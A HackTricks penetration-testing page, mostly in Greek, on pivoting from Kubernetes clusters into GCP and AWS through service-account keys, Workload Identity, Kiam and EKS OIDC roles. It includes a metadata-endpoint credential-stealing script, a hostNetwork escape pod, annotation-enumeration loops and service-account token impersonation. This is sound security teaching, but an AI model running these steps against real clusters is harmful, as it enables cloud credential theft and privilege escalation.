Kubernetes Pivoting to Clouds

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

GCP

Αν τρέχετε ένα k8s cluster μέσα στο GCP, πιθανότατα θα θέλετε κάποια εφαρμογή που τρέχει μέσα στο cluster να έχει πρόσβαση στο GCP. Υπάρχουν 2 κοινές μέθοδοι για να το πετύχετε:

Τοποθέτηση κλειδιών GCP-SA ως secret

Μια κοινή μέθοδος για να δώσετε πρόσβαση σε μια kubernetes εφαρμογή στο GCP είναι να:

  • Δημιουργήστε ένα GCP Service Account
  • Αντιστοιχίστε σε αυτό τις επιθυμητές άδειες
  • Κατεβάστε ένα json key του δημιουργημένου SA
  • Τοποθετήστε το ως secret μέσα στο pod
  • Ορίστε τη μεταβλητή περιβάλλοντος GOOGLE_APPLICATION_CREDENTIALS που δείχνει στη διαδρομή όπου βρίσκεται το json.

Warning

Επομένως, ως attacker, αν compromise ένα container μέσα σε ένα pod, θα πρέπει να ελέγξετε για αυτή την env variable και json files με διαπιστευτήρια GCP.

Συσχέτιση GSA json με KSA secret

Ένας τρόπος για να δοθεί πρόσβαση σε μια GSA σε ένα GKE cluster είναι να τα συνδέσετε με αυτόν τον τρόπο:

  • Δημιουργήστε ένα Kubernetes service account στο ίδιο namespace με το GKE cluster σας χρησιμοποιώντας την παρακάτω εντολή:
kubectl create serviceaccount <service-account-name>
  • Δημιουργήστε ένα Kubernetes Secret που περιέχει τα credentials του GCP service account στο οποίο θέλετε να δώσετε πρόσβαση στο GKE cluster. Μπορείτε να το κάνετε χρησιμοποιώντας το εργαλείο γραμμής εντολών gcloud, όπως στο παρακάτω παράδειγμα:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Δέστε το Kubernetes Secret στον Kubernetes service account χρησιμοποιώντας την παρακάτω εντολή:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Warning

Στο δεύτερο βήμα ορίστηκαν τα credentials του GSA ως secret του KSA. Έτσι, αν μπορείς να διαβάσεις αυτό το secret από μέσα στο GKE cluster, μπορείς να escalate to that GCP service account.

GKE Workload Identity

Με το Workload Identity, μπορούμε να διαμορφώσουμε ένα Kubernetes service account ώστε να λειτουργεί ως Google service account. Τα Pods που τρέχουν με το Kubernetes service account θα πιστοποιούνται αυτόματα ως το Google service account όταν προσπελαύνουν τα Google Cloud APIs.

Η πρώτη σειρά βημάτων για να ενεργοποιηθεί αυτή η συμπεριφορά είναι να ενεργοποιήσετε το Workload Identity στο GCP (steps) και να δημιουργήσετε το GCP SA που θέλετε το k8s να impersonate.

  • Enable Workload Identity σε νέο cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Δημιουργία/Ενημέρωση ενός νέου nodepool (Τα Autopilot clusters δεν χρειάζονται αυτό)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Δημιουργήστε τον GCP Service Account to impersonate από το K8s με δικαιώματα GCP:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Συνδεθείτε στο cluster και δημιουργήστε το service account που θα χρησιμοποιήσετε
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Συνδέστε τη GSA με την KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Εκτελέστε ένα pod με το KSA και ελέγξτε την access στο GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Ελέγξτε την παρακάτω εντολή για να πραγματοποιήσετε αυθεντικοποίηση σε περίπτωση που χρειαστεί:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Warning

Ως επιτιθέμενος μέσα σε K8s πρέπει να αναζητήσετε SAs με την iam.gke.io/gcp-service-account annotation, καθώς αυτό υποδεικνύει ότι το SA μπορεί να έχει πρόσβαση σε κάτι στο GCP. Μια άλλη επιλογή είναι να προσπαθήσετε να καταχραστείτε κάθε KSA στο cluster και να ελέγξετε αν έχει πρόσβαση.
Από πλευράς GCP είναι πάντα χρήσιμο να απαριθμήσετε τα bindings και να γνωρίζετε ποια πρόσβαση δίνετε στα SAs μέσα στο Kubernetes.

Αυτό είναι ένα script για να διατρέξετε εύκολα όλες τις definitions των pods και να αναζητήσετε εκείνη την annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Μια (παρωχημένη) μέθοδος για να δώσετε IAM Roles σε Pods είναι να χρησιμοποιήσετε έναν Kiam ή έναν Kube2IAM server. Βασικά θα χρειαστεί να τρέξετε ένα daemonset στο cluster σας με ένα είδος privileged IAM role. Αυτό το daemonset θα είναι αυτό που θα παρέχει πρόσβαση σε IAM roles στα pods που το χρειάζονται.

Πρώτα απ’ όλα πρέπει να διαμορφώσετε ποιοι ρόλοι μπορούν να προσπελαστούν εντός του namespace, και το κάνετε αυτό με ένα annotation μέσα στο namespace object:

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Μόλις το namespace είναι διαμορφωμένο με τους IAM ρόλους που μπορούν να ανατεθούν στα Pods, μπορείτε να υποδείξετε τον ρόλο που θέλετε σε κάθε pod definition με κάτι σαν:

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Warning

Ως attacker, αν βρείτε αυτές τις annotations σε pods ή namespaces ή σε έναν διακομιστή kiam/kube2iam που τρέχει (πιθανώς στο kube-system) μπορείτε να υποδυθείτε κάθε role που ήδη χρησιμοποιείται από pods και περισσότερα (εάν έχετε πρόσβαση στον AWS account, απαριθμήστε τις roles).

Δημιουργία Pod με IAM Role

Note

Ο IAM role που θα υποδείξετε πρέπει να είναι στον ίδιο AWS account με το kiam/kube2iam role και εκείνο το role πρέπει να μπορεί να έχει πρόσβαση σε αυτό.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Αυτή είναι η συνιστώμενη μέθοδος από την AWS.

  1. Πρώτα απ’ όλα πρέπει να create an OIDC provider for the cluster.
  2. Έπειτα δημιουργείτε έναν IAM role με τα δικαιώματα που θα χρειαστεί το SA.
  3. Create a trust relationship between the IAM role and the SA name (ή στο namespace για να δώσετε πρόσβαση στον role σε όλα τα SAs του namespace). Η trust relationship θα ελέγχει κυρίως το OIDC provider name, το namespace name και το SA name.
  4. Τέλος, create a SA with an annotation indicating the ARN of the role, και τα pods που τρέχουν με αυτό το SA θα έχουν access to the token of the role. Το token είναι written μέσα σε ένα αρχείο και το path καθορίζεται στο AWS_WEB_IDENTITY_TOKEN_FILE (default: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Για να λάβετε aws χρησιμοποιώντας το token από /var/run/secrets/eks.amazonaws.com/serviceaccount/token εκτελέστε:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Warning

Ως επιτιθέμενος, αν μπορείτε να enumerate ένα K8s cluster, ελέγξτε για service accounts with that annotation για να escalate to AWS. Για να το κάνετε, απλώς exec/create ένα pod χρησιμοποιώντας έναν από τους IAM privileged service accounts και κλέψτε το token.

Επιπλέον, εάν βρίσκεστε μέσα σε ένα pod, ελέγξτε για μεταβλητές env όπως AWS_ROLE_ARN και AWS_WEB_IDENTITY_TOKEN.

Caution

Μερικές φορές η Turst Policy of a role μπορεί να είναι bad configured και αντί να δώσει AssumeRole πρόσβαση στο αναμενόμενο service account, την δίνει σε all the service accounts. Επομένως, αν μπορείτε να γράψετε μια annotation σε ένα controlled service account, μπορείτε να αποκτήσετε access στο role.

Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:

AWS - Federation Abuse

Βρείτε Pods και SAs με IAM Roles στο Cluster

Αυτό είναι ένα script για να iterate over the all the pods and sas definitions looking for that annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

Το προηγούμενο τμήμα ήταν για το πώς να κλέψετε IAM Roles με pods, αλλά σημειώστε ότι ένας Node of the K8s cluster είναι πιθανόν να είναι μια instance inside the cloud. Αυτό σημαίνει ότι ο Node είναι πολύ πιθανό να have an IAM role you can steal (σημείωση ότι συνήθως όλοι οι nodes ενός K8s cluster θα έχουν το ίδιο IAM role, οπότε ίσως δεν αξίζει να προσπαθήσετε να ελέγξετε κάθε node).

Για να αποκτήσετε πρόσβαση στο node metadata endpoint χρειάζεται να:

  • Να βρίσκεστε σε pod και το metadata endpoint να είναι ρυθμισμένο σε τουλάχιστον 2 tcp hops. Αυτή είναι η πιο κοινή misconfiguration καθώς συνήθως διαφορετικά pods στο cluster θα χρειαστούν πρόσβαση στο metadata endpoint για να μην σπάσουν και αρκετές εταιρείες απλά αποφασίζουν να επιτρέψουν πρόσβαση στο metadata endpoint από όλα τα pods στο cluster.
  • Να βρίσκεστε σε pod με hostNetwork enabled.
  • Να διαφύγετε στο node και να έχετε άμεση πρόσβαση στο metadata endpoint.

(Σημειώστε ότι το metadata endpoint είναι στο 169.254.169.254 όπως πάντα).

Για να διαφύγετε στο node μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να τρέξετε ένα pod με hostNetwork enabled:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Προηγουμένως έχουμε συζητήσει πώς να attach IAM Roles to Pods ή ακόμα και πώς να escape to the Node to steal the IAM Role που έχει επισυναφθεί στο instance.

Μπορείτε να χρησιμοποιήσετε το παρακάτω script για να steal τις νέες, δύσκολα κερδισμένες IAM role credentials σας:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

Συνοπτικά: εάν είναι δυνατόν να access the EKS Node IAM role από ένα pod, είναι δυνατό να compromise the full kubernetes cluster.

For more info check this post. Εν συντομία, ο προεπιλεγμένος IAM EKS ρόλος που εκχωρείται στους EKS κόμβους είναι ο ρόλος system:node εντός του cluster. Αυτός ο ρόλος είναι πολύ ενδιαφέρων αν και περιορίζεται από τις kubernetes Node Restrictions.

Ωστόσο, ο κόμβος μπορεί πάντα να generate tokens for service accounts που τρέχουν σε pods εντός του κόμβου. Έτσι, εάν ο κόμβος τρέχει ένα pod με ένα privileged service account, ο κόμβος μπορεί να δημιουργήσει ένα token για αυτό το service account και να το χρησιμοποιήσει για να impersonate το service account όπως στο:

kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks